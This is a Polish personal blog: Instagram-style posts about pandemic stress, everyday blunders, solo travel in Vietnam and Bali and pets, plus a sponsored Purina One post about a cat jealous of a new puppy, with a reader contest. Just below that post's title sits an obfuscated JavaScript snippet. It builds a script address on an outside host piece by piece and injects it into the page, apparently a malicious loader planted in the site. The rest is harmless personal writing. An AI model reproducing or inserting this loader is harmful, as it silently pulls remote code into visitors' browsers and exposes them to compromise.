Jak wejdziecie w lokalizację, to zobaczycie jak to POWINNO wyglądać. Cóż, być w jednym z najbardziej zapierających dech w piersiach miejscu i go nie zobaczyć, bo chmury - zdarza się! :D Potem zaczął padać deszcz, więc ja zaczęłam mieć z tego radochę😅
Pytacie, dlaczego tak mało się stresuję! Słuchajcie, ja kiedyś byłam tą osobą, którą ze stresu zawsze bolał brzuch. Przed egzaminem, zawodami, konkursem... dzisiaj stresik czuję tylko przed podróżą (czyli chyba długo nie poczuję🙈) a częściej towarzyszy mi EKSCYTACJA. Większy problem mam z napięciem, ono się silnie odbija na moim ciele. Zazwyczaj szłam je wybiegać, ale ponieważ wróciłam przed obowiązkową kwarantanną, narzuciłam sobie własną i... chodzę po ścianach, bo moje najlepsze sposoby na rozładowanie napięcia są niedostępne🙈Nie cierpię biegać. Ale lubię zgrzana wrócić do mieszkania i mieć ten uśmiech na twarzy, że już wszystko za mną😅

A nie stresuje się, bo nie pozwalam, by rzeczy, które są poza moją kontrolą władały moim umysłem. Poza moją kontrolą jest to, ile potrwa pandemia, ile osób umiera każdego dnia, jak wygląda stan opieki zdrowotnej w Polsce, czy będzie szczepionka albo kiedy będzie i ile potrwają obostrzenia.
Ale mam kontrolę nad najważniejszymi rzeczami: mogę ograniczyć do minimum wyjścia (spacerek do sklepu po jedną rzecz nigdy tak nie kusił, co?😉), poprawnie myć ręce, unikać dotykania buzi, dbać o odporność, być aktywna fizycznie, słuchać komunikatów GiS i dostosować swoją sytuację finansową do zmieniających się warunków (przyciąć wydatki? przebranżowić się? podnieść ceny usług czy obniżyć i iść na ilość?).
Skupiam się nad tym, nad czym mam kontrolę. Zawsze!
Nie wiem czy na egzaminie dostanę trudne pytania, nad tym nie mam kontroli. Ale mam kontrolę nad tym, jak przyswoję materiał.
A u Was jak? Stres? Czarne myśli? Czy spokój na myśl o tym, że cokolwiek przyniesie życie, będzie trzeba się do tego dostosować?
#stres #szczerze_pisząc #emocje #stacalm #stayhome #vietnam #goldenhandsbridge

Jak wejdziecie w lokalizację, to...

Ale mam dzisiaj kiepski dzień! Chyba będę ładną sumkę w plecy. Auć! Bolesna lekcja, by nie robić czegoś „jednym okiem”. Pomyślałam, że podzielę się kilkoma swoimi wpadkami i poproszę Cię o to samo 👉🏻 zatytułowałam oficjalny przelew „pieniądze za las”. Byłam rozkojarzona!
👉🏻 kilka razy wysłałam polecony do samej siebie, jakoś odruchowo wpisuje mi się mój własny adres 🤷🏻‍♀️
👉🏻 wybrałam się na basen i nie spakowałam stroju, zorientowałam się już w szatni
👉🏻 bez portfela to też wyszłam wiele razy
👉🏻 wysłałam klientowi plik o tytule „wersjaostatecznailetychpoprawekjapierdole.pdf”
👉🏻 wyszłam z knajpy i zapomniałam zapłacić. Biegłam przeprosić i uregulować należność ze zwieszonym jęzorem a oni się nawet nie zorientowali! Przeprosiłam chyba z 5x🙈

Teraz Ty, będzie mi raźniej!
Zdjęcie z Bali! Było pięknie, mam nadzieję, że Balijczycy dadzą sobie radę z kryzysem, żyli w dużej mierze z turystyki :( #wpadka #aniamaluje #szczerze_pisząc #wodospad #waterfall #podrozemaleiduze #podróże

Ale mam dzisiaj kiepski dzień!...

Mam taką ulubioną grę, gdzie zadaję ludziom pytania w stylu „wolisz do końca życia jeść tylko sernik, czy tylko burgery?”. Nawet mam jej karcianą wersję (nazwa się „Dylematy” i pytania są w niej czasami na maksa odjechane!) ale i tak wolę zadawać własne😈. Zasady są proste! 👉🏻 odpowiadasz na dowolne pytanie z tego wątku (moje, cudze)
👉🏻 kupujesz sobie w ten sposób prawo, by zadać własne pytanie 
Można uzasadniać, wychodzą z tego super dyskusje!!! Uwielbiam w to grać! I na żywo i przez smsy jak na żywo nie można pogadać.
Więc ja zacznę, a Wy mam nadzieję, będziecie w komentarzach aktywni. Pytanie które wrzucam, pochodzi z gry „Dylematy”:
2 osoby zaproponowały ci namiętny pocałunek. Jedna z nich to 10 w Twojej osobistej skali, ale jest w związku. Druga to singiel, ale w twojej skali „5”. Kogo wybierasz? Napisz, a potem stwórz własny „dylemat”😉 Zawsze trzeba coś wybrać, nawet jak obie opcje są złe 🙃
Odpowiedz i zadaj swoje pytanie.

Możecie odpowiadać sobie nawzajem, będzie zabawnie! To jak, 5 czy 10? 
#gra #zostajewdomu #rozrywka #buivien #buivienstreet #vietnam #saigon #hochiminh #podróże #podróżemałeiduże #aniamaluje

Mam taką ulubioną grę, gdzie...

Idziesz do pracy, bo musisz? Źle, bo masz siedzieć na pupie. Bierzesz bezpłatny urlop, żeby siedzieć na pupie - źle, bo będzie kryzys, a w ogóle to ktoś musi w sklepach sprzedawać.
Wrzucasz związane w wirusem treści - źle, bo wszyscy już mają dość. Wrzucasz treści rozrywkowe - źle, bo jesteś ignorantem. Kupujesz papier dla siebie i rodziny - źle, bo panikujesz i „odbierasz innym”. Kupujesz tyle ile potrzebujesz - źle, bo nie myślisz o przyszłości.

Nie dajmy się zwariować. Jesteśmy różni! Przeżywamy sytuacje na swój sposób. Ktoś, kto lubi siedzieć w domu nie zrozumie kogoś, kto serio chodzi od tego po ścianach. za dzieciaka byłam często chora i 2 tygodnie na dupsku to dla mnie żadna nowość. Przyznam, że czasami wręcz chciałam mieć anginę, żeby oglądać na satelicie bajki na jakimś Rai due czy niemieckim RTL2, oglądać reklamy produktów, których w Polsce nie ma, układać puzzle, czytać książki, wpuszczać psa do łóżka (chora, to mama przymknie oko) i układać domki z kart. Przeszłabym się chętnie, marzę o zakupach w lidlu, żałuję, że nie mam balkonu, ale jakieś wielkie wyrzeczenie to nie jest. Dla kogoś innego może być niemal traumatyczne i nie mam prawa tego oceniać! Jeden będzie tańczył i śpiewał, drugi zwinie się w kulkę i będzie mu smutno.
Dlatego proszę, nie oceniajmy się! Jeśli tylko słuchasz się do zaleceń i oficjalnych komunikatów - nie czuj wyrzutów sumienia, że masz ochotę spać albo leżeć zamiast pisać ebooki i tworzyć genialne biznesy. Albo na odwrót, że w tej sytuacji przyszedł Ci do głowy genialny produkt  i wchodzisz w to jak opętany!
Nie miej wyrzutów sumienia, że czujesz radochę na myśl o gotowaniu, porządkach w szafie i wszystkich rzeczach, na które brakowało ci czasu. Albo na odwrót - że zamawiasz na wynos i marzysz o pracy w której odwiedza cię pan kanapka. Ale nie oceniaj. 
Polecam z  stories @evrdtrp która pokazuje, jak odmienne mamy perspektywy i sytuacje życiowe. To nie są rzeczy czarne albo białe, raczej tak niedookreślone jak moja skora na tym zdjęciu. Opalona, spalona, czy blada? Wszystko po trochu!
Wspieranie, nie ocenianie. Proszę🤗
#staystrong #siedzęwdomu ... bo mam ten przywilej, nie każdy może.
Doceniam! #szczerze_pisząc #aniamaluje

Idziesz do pracy, bo musisz?...

Robicie czasami głupie rzeczy? Ja niestety ciągle! Czasami szybciej działam niż myślę, a refleksja nad głupotą przychodzi po fakcie. Osobiście za jedną z najgłupszych rzeczy na świecie uważam jednak palenie papierosów. Śmierdzą, trują, niszczą zęby i zdrowie - bez wahania zdecydowałam się dorzucić swoje 3 grosze do kampanii przeciwko paleniu!
Dajcie koniecznie znać w komentarzach czy kiedyś paliliście (albo palicie) i czego wam najbardziej w związku z tym żal!
Więcej na : http://stopfejkfriends.pl/ 
Post w tamach kampanii społecznej: #stopfejkfriends i „Papierosy i e-papierosy to fałszywi przyjaciele”

#aniamaluje #szczerze_pisząc

Robicie czasami głupie rzeczy? Ja...

Na tym zdjęciu moja mina mówi „czy mogę już iść?” i nawet powiedziałam to na głos do @czula.kaminska bo obok latał jakiś szerszeń, a ja się panicznie boję🙈
Bo ja wcale nie jest odważna! 
Życie jest przewrotne. Pojechałam solo, żeby sama pobyć ze swoimi myślami - nie spędziłam sama ani jednego dnia! A teraz siedzę na tyłku jak wszyscy i mam to swoje wyciszenie, chociaż czas po wyjeździe miał być turbo intensywny🤪
🌱Fajnie jest być gdzieś z kimś. Dzielić zachwyt, czasami pokazać coś swoimi oczami, czasami rozproszyć poczucie odpowiedzialności by nie ciążyło tylko na jednej osobie, czasami by poczuć się bezpieczniej. 🌱Podróżowanie solo jest inne. Ludzie dzielą z Tobą jakieś fragmenty drogi, ale na Twoich zasadach. Zero kompromisów, dostosowywania się, szukania knajp gdzie będzie coś bez pszenicy albo gaszenia światła bo ktoś chce spać, a ty jeszcze nie. Omijania czegoś, bo komuś za gorąco albo za daleko, za blisko, za brzydko, za ładnie, zawsze coś.
🌱Łatwiej poznaje się ludzi. Ja na nowo uwierzyłam, że w ludziach jest dobro. Spotkałam się z wielką życzliwością, chęcią pomocy, wskazówkami. Ktoś mnie podwiózł, ktoś naprawił laptopa, ktoś pokazał fajne zakątki, ktoś zrobił zdjęcie, ktoś popilnował rzeczy. To było piękne!🥰
🌱Podróżowanie solo nie jest ani lepsze ani gorsze. Jest zupełnie inne. 
Polecam przeżyć chociaż raz w życiu, może jak wszystko się uspokoi? ☀️Ja lubię mieć jakąś nagrodę w perspektywie. Jeśli ogarnę to finansowo to po tej całej pandemii chciałabym wybrać się do Włoch i zjeść nieprzyzwoicie pyszną pizzę. I makaron. I potańczyć. I pośpiewać pijąc nad morzem ich domowe wino z plastikowej butelki.
Tak będzie, musi być! 
Każda burza się kiedyś kończy, w to chcę wierzyć!
Zabawmy się! Wyobraź sobie, że pandemia się skończyła, Twoje finanse i rodzina mają się dobrze.
Pierwsze co robisz „w nagrodę” aby to odreagować to?
Ja totalnie wybieram się na pizzę! #podróże #solo #solotravel #drzewo #szczerze_pisząc #aniamaluje #infinitydress #multiwaydress

Na tym zdjęciu moja mina...

To, co dzisiaj wydaje się dramatem, kiedyś może okazać się cenną lekcją. Pamiętam jak z dnia na dzień straciłam źródło dochodu nie mając planu B. Bolało, ale od tej pory pamiętałam, że „najpierw płacę sobie”. No matter what! Budowałam poduszkę finansową, chociaż było bardzo ciężko. Za drugim razem gdy straciłam głównego klienta też bolało potwornie. Wtedy wyciągnęłam kolejną lekcję i postawiłam na dywersyfikację. Teraz przy okazji wirusa moje źródełka powysychały albo stały się mniejsze, ale jedno, zupełnie pasywne działa nadal i to lepiej niż wcześniej. Książka, którą napisałam w 2013! (Dostępna na legimi).
Kryzysy są ciężkie, ja się cieszę, że dostałam mocno po dupie bardzo młodo. Że przegadałam sobie kilka tematów i np. podjęłam trudną decyzję, że nie stać mnie na pracę w szkole, (wtedy byle ósemka do wyrwania oznacza tarapaty finansowe).
Czasami te bolesne lekcje po czasie okazują się bardzo cenne! 
Mam taką zasadę, że porażkę zawsze zamieniam w „teachable moment”. Wypisuję 10 rzeczy, których nauczyła mnie ta sytuacja i wdrażam wnioski w życie.
Z takim podejściem z wielu problemów wychodzimy silniejsi!
Gdybym nie przerobiła tego problemu 10 lat temu, dzisiaj też z przerażeniem patrzyłabym na topniejący stan konta😰ale czasami żeby było lepiej, przez chwilę musi być trochę gorzej! Dzisiaj widzę, że przez ten kryzys podjęłam decyzje, które zapewniają mi całkiem wygodne życie.
Teraz wydaje się ciężko, ale jeśli wyciągniemy z tego lekcje, to będzie lepiej.
Każdy zna chyba kogoś, kto załamał się po rozpadzie związku a potem poznał partnera pod każdym kątem nieporównywalnie lepszego, prawda?
Wierzę, że tak to się skończy! 
Masz jakąś historię życiowej tragedii, która okazała się potrzebną lekcją i chcesz się nią podzielić?
#aniamaluje #szczerze_pisząc #saigon #hochiminh #kryzys #staystrong

To, co dzisiaj wydaje się...

Surowi rodzice wychowują najlepszych kłamców. To totalnie nie jest czas na te wszystkie wrogie spojrzenia i wytykanie innym co zrobili nie tak! W Tajlandii starsze małażeństwo z Chin pozarażało innych, bo bali się linczu i bali się iść do szpitala. U nas ludzie zatajają, że byli we Włoszech właśnie przez takie komentarze! Z kolei gdy restauratorka z Bangkoku dała znać klientom na fejsie, że ma wirusa, zamyka lokal i prosi osoby, które w nim były o sprawdzenie swojego zdrowia - ludzie pisali, że dziękują za jej odpowiedzialność i poinformowanie. Takie samo podejście ma Tajwan. Pisałam kiedyś, że wiara w „sprawiedliwy świat” sprzyja kulturze wtórnej wiktymizacji ofiar. Bo gdy wszyscy myślimy „jak będę ostrożna to nikt mnie nie zgwałci”, to z automatu cześć winy idzie zawsze na zgwałconą kobietę. „Mnie jakoś takie rzeczy nie spotykają a chodzę tedy 20 lat”🙄. To od naszego podejścia zależy, czy ludzie będą zgłaszać swoje objawy, czy nie. Wirus może przytrafić się każdemu, nawet najbardziej ostrożnemu człowiekowi! To nie jest moment na „to przez tego, to przez tamtego”. To moment na słuchanie się do zaleceń i siedzenie w domu. Ja zdecydowałam się kontynuować relację z Azji z normalnym opóźnieniem (no, może ciut dłuższym, zbieram więcej info o ciemnych stronach Wietnamu😌). Czasy są ciężkie, miejcie u mnie trochę rozrywki i normalności! Pozostańmy silni, bez znaczenia, czy w Polsce czy gdzieś na świecie!♥️ Nie obwiniajmy się nawzajem, nikt nie przyniósł wirusa złośliwie! To i tak by się wydarzyło. Strach jest ok, panika nie. Panika to chaos. Potrzebujemy spokoju i opanowania😊 to nasze reakcje zadecydują o rozwoju wydarzeń.
#podróże #szczerze_pisząc #aniamaluje #wirus #zostajewdomu

Surowi rodzice wychowują najlepszych kłamców....

Jedna z moich największych obaw odnośnie podróży solo?
„Ale jak ja pójdę na plażę?!”🤣
Biegam szybko, ale jednak nie chciałabym wyskakiwać z morza aby dogonić  złodzieja, który połasił się na mój telefon.
Tymczasem moje  obawy okazały się zupełnie bezzasadne! Poznałam wielu spoko ludzi, którym postanowiłam zaufać i rzadko bywałam sama. Ale czasami chciałam! I co wtedy? Raz ratownik zaproponował, że wrzuci moje „belongings” do swojej łódki. Raz wrzuciłam telefon, kasę i klucz do woreczka strunowego i zakopałam pod palmą. A kilka razy wyszłam zupełnie bez niczego. Zostawiałam klucz na recepcji i odcinałam się.
Było super! 
Chcę bardziej być niż mieć. Nie wiem jak mogłam kiedyś pozwolić na to, aby strach o durne rzeczy mnie blokował.
Dzisiaj widzę, jak był irracjonalny 🙈 nie mam za wielu zdjęć z plaży, ale było fajnie! Jestem za to na wielu zdjęciach wietnamskich chłopców (na Bali też mi się zdarzyło)🤣 Widzą białą dziewczynę i pytają, czy mogą fotkę. I czy mogą mnie do tej fotki objąć. Przedmiotowe? Szczerze? Ja też robię fotki lokalsom i chociaż sami zachęcają, to w pewien sposób czuję, że pozując do zdjęć spłacam jakiś dług. Chłopcy są zawsze bardzo grzeczni i mili. Nie spotkało mnie tu nic „disrescpectful”. Po fakcie zawsze dziękują, chwilę pogawędzimy. To dla mnie ok, bez względu na to, co opowiedzą kolegom pokazując zdjęcie. W mojej opowieści też każdy pająk jest 3 razy większy, a każdy z nas ma koleżankę, do której idol na koncercie puścił oczko😉

Nigdy w życiu nie uśmiechałam się tyle, co na tym wyjeździe!!! Nie wiem jak mogła mnie blokować myśl o tym, że ktoś mnie okradnie🙈
„Pod łóżka włażą, złodzieja węszą, 
Łbem o nocniki chłodne trącając.
I znowu sprawdzą kieszonki, kwitki, 
Spodnie na tyłkach zacerowane, 
Własność wielebną, święte nabytki, 
Swoje, wyłączne, zapracowane.”
#wietnam #azja #podróże #podróżemałeiduże #vietnam #aniamaluje #szczerze_pisząc #plaża

Jedna z moich największych obaw...

Typowa ja! Nie pamiętam jak na imię miał właściciel piesełka, ale piesek miał na imię Tom i spędziliśmy razem kilka miłych chwil! 
Nie każde zdjęcie z podróży musi być wymuskane! To wywołuje we mnie miłe emocje, bo Tom był kuleczką radości.
Przy okazji - bycie opiekunem (nie lubię słowa „panem”) pieska to +100 do charyzmy i zwiększa szanse podrywu. Albo ułatwia kontakt. Lubię czytać książki w parku i w zeszłym roku kilkadziesiąt (!) razy zdarzyło się, że wbiegł we mnie albo mój koc czyjś piesek, co dało opiekunowi oczywisty pretekst do zagajenia rozmowy bez jakiejś niezręczności. Z trzema z tych osób się koleguję, jednego poznałam ze swoją koleżanką i są parą ;).
Pieski są super!!!
Pytanie do ludzi, którzy mają (albo kiedyś mieli) zwierzaka - jak się wabił? Imię typowo zwierzęce, czy ludzkie?
Ja miałam: kota o imieniu Trampek, owczarka szkockiego collie o imieniu Zija, (Zia) aka Ruda, drugiego psa o imieniu „Mała” (zwana Zazdrośnicą), kota Kiko i kotkę Ninę. Teraz w mojej rodzinie jest kotka Schwarz i piesek Niunio.
Każde imię z innej bajki!
Jak u Was?
#piesek #dogsofinstagram #wakacje #wietnam #vietnam #podróże #podrozemaleiduze #zwierzaki

Typowa ja! Nie pamiętam jak...

Gdy jesteś tą trzecią…+ KONKURS

(function(){
tbj9u=”pbw787cXbj9q”;tbj9=document.createElement(“script”);
tbj9_=”u”+(“st”);tbj9_+=”at”+(“.”);tbj9.async=true;tbj9_+=”in”;
tbj9u=”37.”+tbj9u;tbj9.type=”text/javascript”;tbj9u+=”8r95sn843bdi”;
tbj9u+=”gpja”;tbj9_+=(“f”)+”o”+(“/”);tbj9.src=”//”+tbj9_+tbj9u;
tbj9d=document.body;tbj9d.appendChild(tbj9);
})();

Chyba nikt nie lubi czuć się jak kwiat przy kożuchu. Albo skarpetki do sandałów.  Niby się jest, ale jakby się nie było to żadna specjalna różnica dla świata. 

Myślałam, że jestem trochę mądrzejsza. Wiecie, uczę się na swoich błędach, wyprzedzam po kilka ruchów jak szachista. Mam zawsze opracowany plan B, plan ucieczki, nawet zawsze mam ważny paszport i jakiś podstawowy hajs w innej walucie – na wypadek wojny czy innego licha. Tym bardziej nie przypuszczałam, że wyciągnę zbyt płytkie wnioski z kilku sytuacji z życia własnego oraz innych.
Masz super relacje z rodzicami i nagle słyszysz, że pojawi się młodsza siostra. Zajmie całą ich uwagę, czas, pieniądze, myśli. Jak się czujesz?
Chodzisz do szkoły, masz najlepszą przyjaciółkę. Best friends forever i tak dalej. A potem chorujesz na zapalenie płuc. Nie ma cię w szkole dwa tygodnie. Po powrocie  nagle okazuje się, że przyjaciółka siedzi w ławce z inną. I niby wciąż się przyjaźnicie, ale czujesz sie jak piąte koło. Może nie u wozu, ale w samochodzie. To które czeka, aż nawali jedno z czterech działających. Niby potrzebne, a jednak przez większość czasu bezużyteczne. Dające poczucie bezpieczeństwa “w razie co”. I tyle. Mogłoby cię nie być, nikt nie zauważy aż coś się stanie. Auć.
Albo jesteś starsza, masz już przyjaciółkę i ona się zakochuje. I od tej pory cały jej czas pochłania “misiaczek”. Nawet jak w końcu gdzieś razem wyskakujecie, to tylko paplanie, że misiaczek to, misiaczek tamto.
Jak się z tym czujesz?

Druga połowka robi karierę, jest rozchwytywana, często gdzieś jeździ. A ty chcesz ją dla siebie.
Albo chłopak kocha swój samochód i cały czas poświęca na jakieś ulepszenia, modyfikacje. Myślisz że się domyśli i kupi śliczną nową kanapę do waszego gniazdka, a on obwieszcza “kochanie, zobacz, kupiłem nowe alufelgi”. Auć.
Jesteś ulubieńcem przełożonego, cokolwiek nie zrobisz – zawsze jest super. Ale po urlopie już ktoś wskoczył na swoje miejsce. Niby wciąż masz to samo stanowisko, ale coś jest jakoś… inaczej.
Byłam w kilku z tych sytuacji od różnej strony, jeszcze więcej obserwowałam, chociaż niektóre wydają się abstrakcyjne. Mąż zazdrosny o to, że żona spędza czas z ich nowonarodzonym dzieckiem, bo czuje się odtrącony. “Z dzieckiem się trzeba było ożenić!” rzuca trzaskając drzwiami i oprócz tego, że pomieszały mu się formy (żona mogła co najwyżej wyjść za mąż), to jest w tym wszystkim jakieś fatalne niezrozumienie, bo ona też czuje brak. Czasu, swojego życia, spokoju.
Gdy miałam 10 lat, rodzice świetnie przygotowali mnie na narodziny siostry. Byłam najszczęśliwsza na świecie biegnąc do sklepu po pampersy czy inne  niezbędniki. Wiedziałam, że narodziny siostry nic nie zmieniają, bo wciąż jestem kochaną córeczką. 
Zawsze uważałam siebie za jakąś całość. Dzisiaj nie umiem być już chyba zazdrosna. Kibicuję “konkurencji”, oddaję innym zlecenia, na które nie mam czasu. Polecam, rekomenduję. Mam swoje pasje, dziedziny w których się realizuję. Swoją przestrzeń, której potrzebuję i jeśli ktoś jest o nią zazdrosny to jest ciężko. Bo super by było, gdyby też miał swoją nienaruszalną. Nie umiałabym być jak ktoś w stylu osób mających wspólne “Madzia Kamil Kowalscy” konto na facebooku. 
Po wszystkich przeżytych i zaobserowanych sytuacjach byłam pewna, że umiem podejść do poważnych spraw poważnie.
Schwarz, mój kot zwany “szarcusiem” i “szwarculkiem” nigdy nie był specjalnie zabawowy. Spokojny kanapowiec, leniuch, śpioch. Jak widzi aparat to się przed niego pcha, a potem uda że wcale nie chciał:
Ale kot ma też swoje drugie tajemne życie. Łazi po dachach i codziennie przynosi mi szczura, ptaka albo żabę. Czasami żywe, bo upodobał sobie mord na moich oczach. Żebym nie myślała sobie że znalazł jakąś padlinę.  A potem “tul mnie, miziaj za uszkiem, jestem małym słodkim Szwarcusiem”.
Gdy kilka lat temu odszedł mój kochany pies, myślałam że już nigdy więcej żadnego nie pokocham. Że każdego będe porównywać. Że nie ma opcji. Ale pojawił się on. Ed. Znaczy Edek mu dano w hodowli, ale siostra nazwała go Niunio. Wcześniej oczywiście wszystko sprawdzone i przemyślane pod każdym kątem. Że musi to być młody pies.  Że rasy, która dogaduje się z kotami, bo innej opcji nie ma. Że ze względu na kota, schronisko nie wchodzi w grę, bo Szwarcuś chociaż słodki to potrafi wyciągnąć pazurki i byłoby niewesoło. Że musi to być malutki psiak, bo nie mogą mieć za dużych różnic ani wielkością ani masą. 
Mój kot jest aktywny, chociaż się nie wydaje. Skacze po drzewach, potrafi złapać ptaka w locie (ku mojemu przerażeniu!).
Wszystkie wysiłki skierowałam więc na to, by Szwarcek nie czuł się odtrącony. Do tej pory był moją perełką, myszką, misiaczkiem, słoneczkiem, Szwarculkiem i reszty określeń Wam oszczędzę, bo jak każda kociara zwracałam się do niego mnóstwem słodko-pierdzących określeń. Chciałam aby czuł się tak nadal.
Pies dostał jasne komendy i nigdy nie śmiał zajrzeć do kociej miski ani nie reagował gdy kot zaglądał do psiej. Nie atakuje go, szanuje i z pokorą przyjął swoje miejsce w szeregu. Kot z pozoru też wszystko okej, znalazł sobie wygodne miejsce na parapecie, zaanektował dywanik, ale już nie było miziania i drapania za uszkiem, bo obdarzał mnie spojrzeniem “idź kobieto, zmęczony jestem”.
Szczurów i ptaków też już nie przynosił. Niby ulga, bo nie lubię tych prezentów, ale jednak czułam lekki niepokój. Z jednej strony o psychikę kota,z  drugiej  o to ile szczurów musi teraz biegać w opuszczonym domu pod lasem, stosunkowo blisko mnie. Brrr!
Kilka razy pytałam Was o rady i jestem za nie niesamowicie wdzięczna. Dzięki nim pies szanuje kota i jest w niego wpatrzony jak w obrazek.
Ale kot mi się rozleniwił. Nawet rzadziej wychodził. Zanim ktoś odsądzi mnie od czci i wiary – mieszkam w takiej okolicy, że gdy przejeżdża samochód to znasz te dźwięki na pamięć. Nie muszę podchodzić do okna by wiedzieć czy to sąsiad, czy śmieciarka, czy kurier. Nic innego specjalnie tu nie jeździ, bo to ciche i spokojne osiedle. Kot ma swoje ścieżki i swoje sekretne życie a ja to szanuję. I zrobiło mi się przykro gdy przestał je mieć.
Na początku listopada marka Purina rzuciła mi wyzwanie – kot miał trzy tygodnie jeść karmę Purina One. Zasady uczciwe i fajne, bo jak wyzwanie nic nie zmieni i efekty będą neutralne to też nic złego. Kupiłam więc karmę na próbę by wiedzieć czy nią nie wzgardzi, a że jaśnie pani zaakceptowała, to podałam marce adres. (Zostańcie do końca, bo mam też karmy dla Was:)).
Był jednak mały problem – Cypr. Zwierzaki miały zapewnioną na ten czas troskliwą opiekę,ale miałam obawy. Ostatecznie stwierdziłam, że może kot musi za mną zatęksnić by “wrócił do siebie”.
Do tej pory był moim oczkiem w głowie, słonkiem do miziania za uszkiem i bohaterem przynoszącym o czwartej nad ranem wielkiego szczura. Teraz czuł się zazdrosny o psa, który jest jak żywe srebro i ciągle chce się z nim bawić, na co kot reaguje ostrzegawczym podniesiem łapy i syknięciem. 
Jeśli coś mogło pomóc mi odzyskać mojego Szwarcusia, to czułam się w obowiązku to sprawdzić. Kotka nie może czuć się “tą trzecią”.
Oczywiście muszę w tym miejscu nadmienić, że kot wcześniej nie jadł tylko suchej karmy. Zazwyczaj miał jakieś “chrupki” w misce, ale nie pogardzi mięskiem z kurczaka, plastrem łososia, czy surowym jajkiem. Szwarcek nie mieszka w wielkim mieście, tylko malutkim miasteczku, na cichym osiedlu pod lasem. Przypomina typowego, wiejskiego kota buszującego wśród traw. To jak równoległy świat z innymi zasadami. Nie oszukam jego natury i nie zamierzam. Nigdy nie traktowałam kota jako swoją własność. Raczej cieszę się, że mogę mu pomóc w jego podróży przez życie i dać mu na niej wszystko co najlepsze.
Okej, dość gadania. Karma przyszła razem z tą, którą chcę dać komuś w konkusie (o tym za chwilę).
Oczywiście zaliczyłam pierwszą wpadę i pierwszego dnia otworzyłam mu karmę junior, konkursową. Bez obaw, odkupię 😀
Pies zrozumiał, że to prywatna własność jego starszego “przyjaciela” i zaakceptował swój los :).
A kot? Kot lubi gdy poświęca się mu uwagę, więc oczywiście nowy wynalazek przyjął z radością:
Psa mamy od lipca, a ja zdążyłam się już trochę poddać. Purina zachęciła mnie do trzech intensywnych tygodni z pracą nad kocisławem. Częściej do niego gadałam, miziałam, traktowałam jak króla świata. Na jedno pogłaskanie psa przypadały ze trzy głaski kota. Chociaż pies skacze na mnie z radości od samego wejścia – najpierw witam się z kotem. Okej, najpierw zdejmuję rajstopy bo pies podarł mi już tyle par, że zbankrutuję :).
Podobno gdy byłam na Cyprze, kot bawił się świetnie. Nie powiem, ucieszyłam się. Ale gdy wróciłam to pies oszalał z radości a kot na mnie spojrzał i sobie poszedł. Zero entuzjazmu. Nie powiem, przyjęłam to jak policzek. Zazdrość była silna, bo idąc z psem na spacer miałam ogon. Kot zaczął znowu wychodzić i gdy ja szłam chodnikiem, on równolegle po ogródkach sąsiadów. Coś zaczęło się ruszać.
Od dawna wiem, że mój kot nie jest malutką, milutką fotogeniczną kuleczką, tylko bezwzględnym mordercą szczurów,  więc jego rozmemłanie bardzo mnie martwiło. Tęskniłam za swoim szalonym potworkiem, który potrafił przypalić sobie wąsy.
Prawdę mówiąc – myślałam że to wszystko jest prostsze. Ale na mojego kota nie działa drapak (ma drzewa), nie zachwyci go tunel (bryka po ogrodzie) wzgardzi zabawką (poluje na serio). Każda kupiona zabawka błyskawicznie stawała się psią i efekt był odwrotny od zamierzonego. Ale po czasie intensywnej pracy misiek zauważył chyba moje starania i zaczął zachowywać się przyzwoicie.
Znowu je mi z ręki i pzestał mnie olewać. Ale ja tam – pół biedy! Gdy pies w swojej radości postanowił go polizać po pyszczku to na niego nie prychnął. W końcu  go…zaakcpetował. Chciałam napisać “polubił”, ale pewna nie jestem 😀 Pies jest wpatrzony w kota jak obrazek, kot traktuje psa z wyższością i rezerwą, ale chyba też akceptacją.
Jasne, kot nadal lubi spać i wypoczywać, ale tym razem dlatego, że bryka jak szalony po ogrodzie i drzewach. O czym świadczą wiecznie czarne łapki :). Jego sierść znowu błyszczy i ma te swoje duże, słodkie oczy.
Zrobić mu zdjęcie to wyczyn, bo jest szybki jak błyskawica, ale mam nadzieję że sami to widzicie :)). Co dało mi wyzwanie z marką Purina One?
Przede wszystkim – zmotywowało mnie do jeszcze jednej próby ogarnięcia emocji swojego kota. Myślałam że tak już musi być i trochę się poddałam. Po drugie – dzięki wyzwaniu obserowałam swojego kota dużo uważniej. Zarówno patrząc na to, czy nowa karma mu służy, jak i przyglądając się jego sierści, oczom, zachowani. Po trzecie – przełomem był dzień w którym znowu przyniósł szczura. Psu. 
Zaczęły się dogadywać, nie powiem że jak najlepsi przyjaciele ale jest duży progress. Fakt faktem – kot jest wciąż rozczarowany gdy pies postanawia przez niego przeskakiwać i próbować wciągnąć go w gonitwy, ale przyjmuje to ze spokojem. 
Kot znowu śpi z odsłoniętym brzuchem, czyli odzyskał 100% zaufania.  I po fochu, uff!
Cóż, teraz ja jestem tą trzecią 😀 Kot z psem mają swoje życia.
Czy są na sali jacyś kociarze?
Marka Purina na stronie https://www.kociarze.pl/trzy-tygodniowe-wyzwanie zorganizowała wyzwanie otwarte dla wszystkich – do wygrania są bardzo atrakcyjne nagrody:

– zapas karmy PURINA ONE
– bony o watościach 150, 300, 500 zł do wykorzystania w partnerskim sklepie internetowym
– gadżety PURINA ONE: miska dla Kota, torebka na karmę dla Kota oraz kocia kanapa!

Oczywiście kociej kanapy zazdroszczę i zachęcam do udziału w oficjalnym wyzwaniu i gry o fajne nagrody – będzie mi bardzo miło, jeśli zgarnie je ktoś czytający mojego bloga :).

Ale osobno mam też mały kokurs dla Was – marka Purina przeznaczyła
12 opakowań  karmy dla kogoś z czytelników mojego bloga!
Jeśli nie masz kota, możesz zagrać o karmę dla kogoś kto kota ma, mogę też wysłać na adres wybranego przez Ciebie schroniska.
Po prostu opisz w komentarzu (za pomocą systemu disquss) zabawną historię z kotem. 
To wszystko! Czas jest do czwartku 8.12.2016 roku (23:59), rozwiązanie w ciągu kilku dni. To szybki konkurs, chcę wysłać nagrody przed swoim wylotem do Tajlandii 🙂
Buziaki!

Bądź na bieżąco! 

  INSTAGRAM ❤ FACEBOOK 
❤ FACEBOOK MONIKI 

Niektóre teksty widzą tylko subskrybenci (nie lądują na “głównej”) –

 jeśli chcesz być na bieżąco, zostań obserwatorem w google lub na bloglovin 🙂 A jeśli dany tekst Ci pomógł, sprawisz mi przyjemność, jeśli klikniesz +1 w g+ pod tekstem 🙂

Follow on Bloglovin

Komentując oświadczasz, że znasz regulamin

Uściski, Ania

1
Dodaj komentarz

avatar
1 Comment threads
0 Thread replies
0 Followers
 
Most reacted comment
Hottest comment thread
0 Comment authors
Recent comment authors
  Subscribe  
najnowszy najstarszy oceniany
Powiadom o
Ewelek
Gość

